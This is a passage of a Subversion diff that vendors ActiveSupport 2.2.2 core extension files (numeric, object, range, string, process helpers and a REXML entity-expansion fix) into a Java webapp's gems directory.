--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/numeric/bytes.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/numeric/bytes.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,44 @@
+module ActiveSupport #:nodoc:
+  module CoreExtensions #:nodoc:
+    module Numeric #:nodoc:
+      # Enables the use of byte calculations and declarations, like 45.bytes + 2.6.megabytes
+      module Bytes
+        def bytes
+          self
+        end
+        alias :byte :bytes
+
+        def kilobytes
+          self * 1024
+        end
+        alias :kilobyte :kilobytes
+
+        def megabytes
+          self * 1024.kilobytes
+        end
+        alias :megabyte :megabytes
+
+        def gigabytes
+          self * 1024.megabytes 
+        end
+        alias :gigabyte :gigabytes
+
+        def terabytes
+          self * 1024.gigabytes
+        end
+        alias :terabyte :terabytes
+        
+        def petabytes
+          self * 1024.terabytes
+        end
+        alias :petabyte :petabytes
+        
+        def exabytes
+          self * 1024.petabytes
+        end
+        alias :exabyte :exabytes
+        
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/numeric/conversions.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/numeric/conversions.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/numeric/conversions.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,19 @@
+module ActiveSupport #:nodoc:
+  module CoreExtensions #:nodoc:
+    module Numeric #:nodoc:
+      module Conversions
+        # Assumes self represents an offset from UTC in seconds (as returned from Time#utc_offset)
+        # and turns this into an +HH:MM formatted string. Example:
+        #
+        #   -21_600.to_utc_offset_s   # => "-06:00"
+        def to_utc_offset_s(colon=true)
+          seconds = self
+          sign = (seconds < 0 ? -1 : 1)
+          hours = seconds.abs / 3600
+          minutes = (seconds.abs % 3600) / 60
+          "%+03d%s%02d" % [ hours * sign, colon ? ":" : "", minutes ]
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/numeric/time.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/numeric/time.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/numeric/time.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,81 @@
+module ActiveSupport #:nodoc:
+  module CoreExtensions #:nodoc:
+    module Numeric #:nodoc:
+      # Enables the use of time calculations and declarations, like 45.minutes + 2.hours + 4.years.
+      #
+      # These methods use Time#advance for precise date calculations when using from_now, ago, etc. 
+      # as well as adding or subtracting their results from a Time object. For example:
+      #
+      #   # equivalent to Time.now.advance(:months => 1)
+      #   1.month.from_now
+      #
+      #   # equivalent to Time.now.advance(:years => 2)
+      #   2.years.from_now
+      #
+      #   # equivalent to Time.now.advance(:months => 4, :years => 5)
+      #   (4.months + 5.years).from_now
+      # 
+      # While these methods provide precise calculation when used as in the examples above, care
+      # should be taken to note that this is not true if the result of `months', `years', etc is
+      # converted before use:
+      #
+      #   # equivalent to 30.days.to_i.from_now
+      #   1.month.to_i.from_now
+      #
+      #   # equivalent to 365.25.days.to_f.from_now
+      #   1.year.to_f.from_now
+      #
+      # In such cases, Ruby's core 
+      # Date[http://stdlib.rubyonrails.org/libdoc/date/rdoc/index.html] and 
+      # Time[http://stdlib.rubyonrails.org/libdoc/time/rdoc/index.html] should be used for precision
+      # date and time arithmetic
+      module Time
+        def seconds
+          ActiveSupport::Duration.new(self, [[:seconds, self]])
+        end
+        alias :second :seconds
+
+        def minutes
+          ActiveSupport::Duration.new(self * 60, [[:seconds, self * 60]])
+        end
+        alias :minute :minutes  
+        
+        def hours
+          ActiveSupport::Duration.new(self * 3600, [[:seconds, self * 3600]])
+        end
+        alias :hour :hours
+        
+        def days
+          ActiveSupport::Duration.new(self * 24.hours, [[:days, self]])
+        end
+        alias :day :days
+
+        def weeks
+          ActiveSupport::Duration.new(self * 7.days, [[:days, self * 7]])
+        end
+        alias :week :weeks
+        
+        def fortnights
+          ActiveSupport::Duration.new(self * 2.weeks, [[:days, self * 14]])
+        end
+        alias :fortnight :fortnights
+        
+        # Reads best without arguments:  10.minutes.ago
+        def ago(time = ::Time.now)
+          time - self
+        end
+
+        # Reads best with argument:  10.minutes.until(time)
+        alias :until :ago
+
+        # Reads best with argument:  10.minutes.since(time)
+        def since(time = ::Time.now)
+          time + self
+        end
+
+        # Reads best without arguments:  10.minutes.from_now
+        alias :from_now :since
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/numeric.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/numeric.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/numeric.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,9 @@
+require 'active_support/core_ext/numeric/time'
+require 'active_support/core_ext/numeric/bytes'
+require 'active_support/core_ext/numeric/conversions'
+
+class Numeric #:nodoc:
+  include ActiveSupport::CoreExtensions::Numeric::Time 
+  include ActiveSupport::CoreExtensions::Numeric::Bytes
+  include ActiveSupport::CoreExtensions::Numeric::Conversions 
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/object/conversions.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/object/conversions.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/object/conversions.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,14 @@
+class Object
+  # Alias of <tt>to_s</tt>.
+  def to_param
+    to_s
+  end
+
+  # Converts an object into a string suitable for use as a URL query string, using the given <tt>key</tt> as the
+  # param name.
+  #
+  # Note: This method is defined as a default implementation for all Objects for Hash#to_query to work.
+  def to_query(key)
+    "#{CGI.escape(key.to_s)}=#{CGI.escape(to_param.to_s)}"
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/object/extending.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/object/extending.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/object/extending.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,80 @@
+class Object
+  def remove_subclasses_of(*superclasses) #:nodoc:
+    Class.remove_class(*subclasses_of(*superclasses))
+  end
+
+  begin
+    ObjectSpace.each_object(Class.new) {}
+
+    # Exclude this class unless it's a subclass of our supers and is defined.
+    # We check defined? in case we find a removed class that has yet to be
+    # garbage collected. This also fails for anonymous classes -- please
+    # submit a patch if you have a workaround.
+    def subclasses_of(*superclasses) #:nodoc:
+      subclasses = []
+
+      superclasses.each do |sup|
+        ObjectSpace.each_object(class << sup; self; end) do |k|
+          if k != sup && (k.name.blank? || eval("defined?(::#{k}) && ::#{k}.object_id == k.object_id"))
+            subclasses << k
+          end
+        end
+      end
+
+      subclasses
+    end
+  rescue RuntimeError
+    # JRuby and any implementations which cannot handle the objectspace traversal
+    # above fall back to this implementation
+    def subclasses_of(*superclasses) #:nodoc:
+      subclasses = []
+
+      superclasses.each do |sup|
+        ObjectSpace.each_object(Class) do |k|
+          if superclasses.any? { |superclass| k < superclass } &&
+            (k.name.blank? || eval("defined?(::#{k}) && ::#{k}.object_id == k.object_id"))
+            subclasses << k
+          end
+        end
+        subclasses.uniq!
+      end
+      subclasses
+    end
+  end
+
+  def extended_by #:nodoc:
+    ancestors = class << self; ancestors end
+    ancestors.select { |mod| mod.class == Module } - [ Object, Kernel ]
+  end
+
+  def extend_with_included_modules_from(object) #:nodoc:
+    object.extended_by.each { |mod| extend mod }
+  end
+
+  unless defined? instance_exec # 1.9
+    module InstanceExecMethods #:nodoc:
+    end
+    include InstanceExecMethods
+
+    # Evaluate the block with the given arguments within the context of
+    # this object, so self is set to the method receiver.
+    #
+    # From Mauricio's http://eigenclass.org/hiki/bounded+space+instance_exec
+    def instance_exec(*args, &block)
+      begin
+        old_critical, Thread.critical = Thread.critical, true
+        n = 0
+        n += 1 while respond_to?(method_name = "__instance_exec#{n}")
+        InstanceExecMethods.module_eval { define_method(method_name, &block) }
+      ensure
+        Thread.critical = old_critical
+      end
+
+      begin
+        send(method_name, *args)
+      ensure
+        InstanceExecMethods.module_eval { remove_method(method_name) } rescue nil
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/object/instance_variables.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/object/instance_variables.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/object/instance_variables.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,74 @@
+class Object
+  # Available in 1.8.6 and later.
+  unless respond_to?(:instance_variable_defined?)
+    def instance_variable_defined?(variable)
+      instance_variables.include?(variable.to_s)
+    end
+  end
+
+  # Returns a hash that maps instance variable names without "@" to their
+  # corresponding values. Keys are strings both in Ruby 1.8 and 1.9.
+  #
+  #   class C
+  #     def initialize(x, y)
+  #       @x, @y = x, y
+  #     end
+  #   end
+  #   
+  #   C.new(0, 1).instance_values # => {"x" => 0, "y" => 1}
+  def instance_values #:nodoc:
+    instance_variables.inject({}) do |values, name|
+      values[name.to_s[1..-1]] = instance_variable_get(name)
+      values
+    end
+  end
+
+  # Returns an array of instance variable names including "@". They are strings
+  # both in Ruby 1.8 and 1.9.
+  #
+  #   class C
+  #     def initialize(x, y)
+  #       @x, @y = x, y
+  #     end
+  #   end
+  #   
+  #   C.new(0, 1).instance_variable_names # => ["@y", "@x"]
+  if RUBY_VERSION >= '1.9'
+    def instance_variable_names
+      instance_variables.map { |var| var.to_s }
+    end
+  else
+    alias_method :instance_variable_names, :instance_variables
+  end
+
+  # Copies the instance variables of +object+ into +self+.
+  #
+  # Instance variable names in the +exclude+ array are ignored. If +object+
+  # responds to <tt>protected_instance_variables</tt> the ones returned are
+  # also ignored. For example, Rails controllers implement that method.
+  #
+  # In both cases strings and symbols are understood, and they have to include
+  # the at sign.
+  #
+  #   class C
+  #     def initialize(x, y, z)
+  #       @x, @y, @z = x, y, z
+  #     end
+  #   
+  #     def protected_instance_variables
+  #       %w(@z)
+  #     end
+  #   end
+  #   
+  #   a = C.new(0, 1, 2)
+  #   b = C.new(3, 4, 5)
+  #   
+  #   a.copy_instance_variables_from(b, [:@y])
+  #   # a is now: @x = 3, @y = 1, @z = 2
+  def copy_instance_variables_from(object, exclude = []) #:nodoc:
+    exclude += object.protected_instance_variables if object.respond_to? :protected_instance_variables
+
+    vars = object.instance_variables.map(&:to_s) - exclude.map(&:to_s)
+    vars.each { |name| instance_variable_set(name, object.instance_variable_get(name)) }
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/object/metaclass.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/object/metaclass.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/object/metaclass.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,13 @@
+class Object
+  # Get object's meta (ghost, eigenclass, singleton) class
+  def metaclass
+    class << self
+      self
+    end
+  end
+
+  # If class_eval is called on an object, add those methods to its metaclass
+  def class_eval(*args, &block)
+    metaclass.class_eval(*args, &block)
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/object/misc.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/object/misc.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/object/misc.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,74 @@
+class Object
+  # Returns +value+ after yielding +value+ to the block. This simplifies the
+  # process of constructing an object, performing work on the object, and then
+  # returning the object from a method. It is a Ruby-ized realization of the K
+  # combinator, courtesy of Mikael Brockman.
+  #
+  # ==== Examples
+  #
+  #  # Without returning
+  #  def foo
+  #    values = []
+  #    values << "bar"
+  #    values << "baz"
+  #    return values
+  #  end
+  #
+  #  foo # => ['bar', 'baz']
+  #
+  #  # returning with a local variable
+  #  def foo
+  #    returning values = [] do
+  #      values << 'bar'
+  #      values << 'baz'
+  #    end
+  #  end
+  #
+  #  foo # => ['bar', 'baz']
+  #  
+  #  # returning with a block argument
+  #  def foo
+  #    returning [] do |values|
+  #      values << 'bar'
+  #      values << 'baz'
+  #    end
+  #  end
+  #  
+  #  foo # => ['bar', 'baz']
+  def returning(value)
+    yield(value)
+    value
+  end
+
+  # An elegant way to factor duplication out of options passed to a series of
+  # method calls. Each method called in the block, with the block variable as
+  # the receiver, will have its options merged with the default +options+ hash
+  # provided. Each method called on the block variable must take an options
+  # hash as its final argument.
+  # 
+  #   with_options :order => 'created_at', :class_name => 'Comment' do |post|
+  #     post.has_many :comments, :conditions => ['approved = ?', true], :dependent => :delete_all
+  #     post.has_many :unapproved_comments, :conditions => ['approved = ?', false]
+  #     post.has_many :all_comments
+  #   end
+  #
+  # Can also be used with an explicit receiver:
+  #
+  #   map.with_options :controller => "people" do |people|
+  #     people.connect "/people",     :action => "index"
+  #     people.connect "/people/:id", :action => "show"
+  #   end
+  #
+  def with_options(options)
+    yield ActiveSupport::OptionMerger.new(self, options)
+  end
+  
+  # A duck-type assistant method. For example, Active Support extends Date
+  # to define an acts_like_date? method, and extends Time to define
+  # acts_like_time?. As a result, we can do "x.acts_like?(:time)" and
+  # "x.acts_like?(:date)" to do duck-type-safe comparisons, since classes that
+  # we want to act like Time simply need to define an acts_like_time? method.
+  def acts_like?(duck)
+    respond_to? "acts_like_#{duck}?"
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/object.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/object.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/object.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,5 @@
+require 'active_support/core_ext/object/conversions'
+require 'active_support/core_ext/object/extending'
+require 'active_support/core_ext/object/instance_variables'
+require 'active_support/core_ext/object/metaclass'
+require 'active_support/core_ext/object/misc'

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/pathname/clean_within.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/pathname/clean_within.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/pathname/clean_within.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,14 @@
+module ActiveSupport #:nodoc:
+  module CoreExtensions #:nodoc:
+    module Pathname #:nodoc:
+      module CleanWithin
+        # Clean the paths contained in the provided string.
+        def clean_within(string)
+          string.gsub(%r{[\w. ]+(/[\w. ]+)+(\.rb)?(\b|$)}) do |path|
+            new(path).cleanpath
+          end
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/pathname.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/pathname.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/pathname.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,7 @@
+require 'pathname'
+require 'active_support/core_ext/pathname/clean_within'
+
+class Pathname#:nodoc:
+  extend ActiveSupport::CoreExtensions::Pathname::CleanWithin
+end
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/proc.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/proc.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/proc.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,12 @@
+class Proc #:nodoc:
+  def bind(object)
+    block, time = self, Time.now
+    (class << object; self end).class_eval do
+      method_name = "__bind_#{time.to_i}_#{time.usec}"
+      define_method(method_name, &block)
+      method = instance_method(method_name)
+      remove_method(method_name)
+      method
+    end.bind(object)
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/process/daemon.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/process/daemon.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/process/daemon.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,25 @@
+if RUBY_VERSION < "1.9"
+  module Process
+    def self.daemon(nochdir = nil, noclose = nil)
+      exit if fork                     # Parent exits, child continues.
+      Process.setsid                   # Become session leader.
+      exit if fork                     # Zap session leader. See [1].
+
+      unless nochdir
+        Dir.chdir "/"                  # Release old working directory.
+      end
+
+      File.umask 0000                  # Ensure sensible umask. Adjust as needed.
+
+      unless noclose
+        STDIN.reopen "/dev/null"       # Free file descriptors and
+        STDOUT.reopen "/dev/null", "a" # point them somewhere sensible.
+        STDERR.reopen '/dev/null', 'a'
+      end
+
+      trap("TERM") { exit }
+
+      return 0
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/process.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/process.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/process.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+require 'active_support/core_ext/process/daemon'

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/range/blockless_step.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/range/blockless_step.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/range/blockless_step.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,32 @@
+module ActiveSupport #:nodoc:
+  module CoreExtensions #:nodoc:
+    module Range #:nodoc:
+      # Return an array when step is called without a block.
+      module BlocklessStep
+        def self.included(base) #:nodoc:
+          base.alias_method_chain :step, :blockless
+        end
+
+        if RUBY_VERSION < '1.9'
+          def step_with_blockless(value = 1, &block)
+            if block_given?
+              step_without_blockless(value, &block)
+            else
+              returning [] do |array|
+                step_without_blockless(value) { |step| array << step }
+              end
+            end
+          end
+        else
+          def step_with_blockless(value = 1, &block)
+            if block_given?
+              step_without_blockless(value, &block)
+            else
+              step_without_blockless(value).to_a
+            end
+          end
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/range/conversions.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/range/conversions.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/range/conversions.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,27 @@
+module ActiveSupport #:nodoc:
+  module CoreExtensions #:nodoc:
+    module Range #:nodoc:
+      # Getting ranges in different convenient string representations and other objects
+      module Conversions
+        RANGE_FORMATS = {
+          :db => Proc.new { |start, stop| "BETWEEN '#{start.to_s(:db)}' AND '#{stop.to_s(:db)}'" }
+        }
+
+        def self.included(base) #:nodoc:
+          base.class_eval do
+            alias_method :to_default_s, :to_s
+            alias_method :to_s, :to_formatted_s
+          end
+        end
+        # Gives a human readable format of the range.
+        #
+        # ==== Example: 
+        # 
+        #   [1..100].to_formatted_s # => "1..100"
+        def to_formatted_s(format = :default)
+          RANGE_FORMATS[format] ? RANGE_FORMATS[format].call(first, last) : to_default_s
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/range/include_range.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/range/include_range.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/range/include_range.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,30 @@
+module ActiveSupport #:nodoc:
+  module CoreExtensions #:nodoc:
+    module Range #:nodoc:
+      # Check if a Range includes another Range.
+      module IncludeRange
+        def self.included(base) #:nodoc:
+          base.alias_method_chain :include?, :range
+        end
+
+        # Extends the default Range#include? to support range comparisons.
+        #  (1..5).include?(1..5) # => true
+        #  (1..5).include?(2..3) # => true
+        #  (1..5).include?(2..6) # => false
+        #
+        # The native Range#include? behavior is untouched.
+        #  ("a".."f").include?("c") # => true
+        #  (5..9).include?(11) # => false
+        def include_with_range?(value)
+          if value.is_a?(::Range)
+            operator = exclude_end? ? :< : :<=
+            end_value = value.exclude_end? ? last.succ : last
+            include?(value.first) && (value.last <=> end_value).send(operator, 0)
+          else
+            include_without_range?(value)
+          end
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/range/overlaps.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/range/overlaps.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/range/overlaps.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,15 @@
+module ActiveSupport #:nodoc:
+  module CoreExtensions #:nodoc:
+    module Range #:nodoc:
+      # Check if Ranges overlap.
+      module Overlaps
+        # Compare two ranges and see if they overlap eachother
+        #  (1..5).overlaps?(4..6) # => true
+        #  (1..5).overlaps?(7..9) # => false
+        def overlaps?(other)
+          include?(other.first) || other.include?(first)
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/range.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/range.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/range.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,11 @@
+require 'active_support/core_ext/range/conversions'
+require 'active_support/core_ext/range/overlaps'
+require 'active_support/core_ext/range/include_range'
+require 'active_support/core_ext/range/blockless_step'
+
+class Range #:nodoc:
+  include ActiveSupport::CoreExtensions::Range::Conversions
+  include ActiveSupport::CoreExtensions::Range::Overlaps
+  include ActiveSupport::CoreExtensions::Range::IncludeRange
+  include ActiveSupport::CoreExtensions::Range::BlocklessStep
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/rexml.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/rexml.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/rexml.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,36 @@
+require 'rexml/document'
+require 'rexml/entity'
+
+# Fixes the rexml vulnerability disclosed at:
+# http://www.ruby-lang.org/en/news/2008/08/23/dos-vulnerability-in-rexml/
+# This fix is identical to rexml-expansion-fix version 1.0.1
+
+# Earlier versions of rexml defined REXML::Version, newer ones REXML::VERSION
+unless REXML::Document.respond_to?(:entity_expansion_limit=)
+  module REXML
+    class Entity < Child
+      undef_method :unnormalized
+      def unnormalized
+        document.record_entity_expansion! if document
+        v = value()
+        return nil if v.nil?
+        @unnormalized = Text::unnormalize(v, parent)
+        @unnormalized
+      end
+    end
+    class Document < Element
+      @@entity_expansion_limit = 10_000
+      def self.entity_expansion_limit= val
+        @@entity_expansion_limit = val
+      end
+
+      def record_entity_expansion!
+        @number_of_expansions ||= 0
+        @number_of_expansions += 1
+        if @number_of_expansions > @@entity_expansion_limit
+          raise "Number of entity expansions exceeded, processing aborted."
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/string/access.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/string/access.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/string/access.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,82 @@
+module ActiveSupport #:nodoc:
+  module CoreExtensions #:nodoc:
+    module String #:nodoc:
+      unless '1.9'.respond_to?(:force_encoding)
+        # Makes it easier to access parts of a string, such as specific characters and substrings.
+        module Access
+          # Returns the character at the +position+ treating the string as an array (where 0 is the first character).
+          #
+          # Examples: 
+          #   "hello".at(0)  # => "h"
+          #   "hello".at(4)  # => "o"
+          #   "hello".at(10) # => nil
+          def at(position)
+            mb_chars[position, 1].to_s
+          end
+          
+          # Returns the remaining of the string from the +position+ treating the string as an array (where 0 is the first character).
+          #
+          # Examples: 
+          #   "hello".from(0)  # => "hello"
+          #   "hello".from(2)  # => "llo"
+          #   "hello".from(10) # => nil
+          def from(position)
+            mb_chars[position..-1].to_s
+          end
+          
+          # Returns the beginning of the string up to the +position+ treating the string as an array (where 0 is the first character).
+          #
+          # Examples: 
+          #   "hello".to(0)  # => "h"
+          #   "hello".to(2)  # => "hel"
+          #   "hello".to(10) # => "hello"
+          def to(position)
+            mb_chars[0..position].to_s
+          end
+
+          # Returns the first character of the string or the first +limit+ characters.
+          #
+          # Examples: 
+          #   "hello".first     # => "h"
+          #   "hello".first(2)  # => "he"
+          #   "hello".first(10) # => "hello"
+          def first(limit = 1)
+            mb_chars[0..(limit - 1)].to_s
+          end
+          
+          # Returns the last character of the string or the last +limit+ characters.
+          #
+          # Examples: 
+          #   "hello".last     # => "o"
+          #   "hello".last(2)  # => "lo"
+          #   "hello".last(10) # => "hello"
+          def last(limit = 1)
+            (mb_chars[(-limit)..-1] || self).to_s
+          end
+        end
+      else
+        module Access #:nodoc:
+          def at(position)
+            self[position]
+          end
+
+          def from(position)
+            self[position..-1]
+          end
+
+          def to(position)
+            self[0..position]
+          end
+
+          def first(limit = 1)
+            self[0..(limit - 1)]
+          end
+
+          def last(limit = 1)
+            from(-limit) || self
+          end
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/string/behavior.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/string/behavior.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/string/behavior.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,13 @@
+module ActiveSupport #:nodoc:
+  module CoreExtensions #:nodoc:
+    module String #:nodoc:
+      module Behavior
+        # Enable more predictable duck-typing on String-like classes. See
+        # Object#acts_like?.
+        def acts_like_string?
+          true
+        end
+      end
+    end
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/string/conversions.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/string/conversions.rb	2008-12-20 20:26:23 UTC (rev 1003)
